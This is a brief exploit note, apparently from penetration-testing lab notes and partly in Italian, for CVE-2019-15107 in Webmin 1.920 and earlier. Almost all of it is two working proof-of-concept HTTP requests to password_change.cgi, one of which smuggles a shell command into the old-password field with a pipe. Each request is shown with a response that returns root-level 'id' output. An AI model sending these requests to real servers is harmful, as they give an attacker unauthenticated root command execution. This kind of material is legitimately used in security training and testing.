CVE-2019-15107 Webmin RCE <=1.920 (non autenticato)

1.  Webmin <=1.920
2.  Needs reset Password function to be enabled

v1.890 POC

POST /password_change.cgi HTTP/1.1
Host: 10.11.1.88:10000
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Cookie: redirect=1; testing=1; sid=x; sessiontest=1
Referer: http://10.11.1.88:10000/session_login.cgi
Content-Type: application/x-www-form-urlencoded
Content-Length: 60

expired=id

<h1>Error - Perl execution Failed</h1>
<p>Your password has expired, and a new one must be chosen.uid=0(root) gid=0(root) groups=0(root)
</p>

<=v1.920 & !=v1.890 POC

POST /password_change.cgi HTTP/1.1
Host: 10.11.1.88:10000
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Cookie: redirect=1; testing=1; sid=x; sessiontest=1
Referer: http://10.11.1.88:10000/session_login.cgi
Content-Type: application/x-www-form-urlencoded
Content-Length: 60

user=root&pam=&expired=2&old=vrvik|id&new1=vrvik&new2=vrvik


<div class="panel-body">
<hr>
<center><h3>Failed to change password : The current password is incorrectuid=0(root) gid=0(root) groups=0(root)
</h3></center>

CVE-2019-15107

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Utilizzo dello script:

Testato su v1.890, ma dovrebbe funzionare anche per altre versioni di webmin in cui è installata questa backdoor.